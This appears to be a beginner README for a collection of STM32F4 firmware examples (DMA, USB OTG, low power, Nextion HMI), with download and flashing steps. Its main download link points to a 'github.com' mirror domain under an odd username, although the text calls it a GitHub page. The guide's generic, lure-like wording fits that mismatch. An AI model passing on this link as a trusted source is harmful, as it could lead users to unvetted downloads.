This is a collection of advanced firmware projects for STM32F4 microcontrollers. The projects include custom drivers, direct memory access (DMA), USB On-The-Go (OTG), low power modes, and user interface integration with Nextion HMI devices.
You do not need programming knowledge to get started. The projects are set up to run on Windows computers with the right USB tools. This guide will walk you through downloading and opening the example files.
Before you begin, make sure your computer meets these minimum requirements:
- Windows 10 or later (64-bit recommended)
- At least 4 GB of RAM
- USB port for connecting STM32F4 boards
- Internet connection to download files
You will also need access to an STM32F4 development board and an optional Nextion HMI display if you want to test that feature.
- Firmware examples using STM32F4 microcontrollers
- Custom peripheral drivers for common sensors and modules
- Use of DMA for efficient data transfer
- USB OTG support for device and host modes
- Low power operation examples for battery saving
- Integration with Nextion HMI touch displays
- Communication protocols: I2C, SPI, USB
Click the big badge above or this link below to visit the main repository page. From there, you can download all the project files:
Download Advanced_Embedded_Software_Development_with_STM32
You will land on a GitHub page where you can download the files either by cloning the repository or by downloading a ZIP file.
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On the GitHub repository page, find the green button labeled Code near the top right.
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Click Code, then choose Download ZIP. This will download all the project files in a compressed folder named
Advanced_Embedded_Software_Development_with_STM32-master.zip. -
After the download completes, open your Downloads folder, right-click the ZIP file, and select Extract All.
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Pick a folder where you want to keep these example projects, for instance, your Desktop or Documents folder.
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Open the extracted folder to see several subfolders. Each contains a firmware example with source code and documentation.
These are not typical Windows applications. The files are source code meant to be loaded onto STM32F4 hardware development boards.
To test these examples, you must:
- Use STM32CubeIDE or another compatible firmware programming tool on your Windows PC.
- Connect the STM32F4 board to your PC using a USB cable.
- Follow any instructions included in the example folders to program the microcontroller.
STM32CubeIDE is free to download from STMicroelectronics’ official website. It includes tools to build and flash firmware to STM32 boards.
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Connect your STM32F4 board to your computer using a standard USB cable.
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If you have a Nextion HMI display, connect it to the board following the wiring diagrams in the example documentation.
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Open STM32CubeIDE and import one of the example projects.
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Compile and flash the firmware to your STM32F4 board using the IDE.
Each example folder contains a README.md or text file with specific instructions on how to use that project. These may include:
- How to connect external components
- How to operate buttons or sensors attached to the board
- Expected output such as LEDs blinking, serial data on USB, or user interface on Nextion displays
If you don’t have hardware, you can still explore the files to see how the firmware works.
Q: Do I need to know how to program in C to use this?
A: No. You can download and flash the firmware directly if you follow the setup steps.
Q: Where can I get an STM32F4 board?
A: STM32F4 discovery or Nucleo boards are widely available online.
Q: Can I use this on other operating systems?
A: This guide focuses on Windows. STM32CubeIDE is also available for Linux and Mac.
Q: What if I don’t have a Nextion display?
A: You can still use all examples except those requiring the Nextion HMI.
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Primary Download Page:
https://github.com/horizontalsectionheadman906/Advanced_Embedded_Software_Development_with_STM32 -
STM32CubeIDE Download:
https://www.st.com/en/development-tools/stm32cubeide.html -
Nextion HMI Product Info:
https://nextion.tech/
- Make sure your USB cable supports data transfer, not just charging.
- Verify that STM32CubeIDE detects your board before flashing.
- If flashing fails, check that the board drivers installed correctly.
- For serial communication examples, use a serial terminal tool like PuTTY.
- Review example README files for hardware setup specifics.
This repository covers many areas useful to embedded systems users:
- C programming basics and advanced tips
- Embedded firmware design
- Use of DMA for fast data movement
- Hardware abstraction layer (HAL) usage
- Communication protocols: I2C, SPI, USB OTG
- Low power usage methods
- Integration with touch interfaces (Nextion HMI)
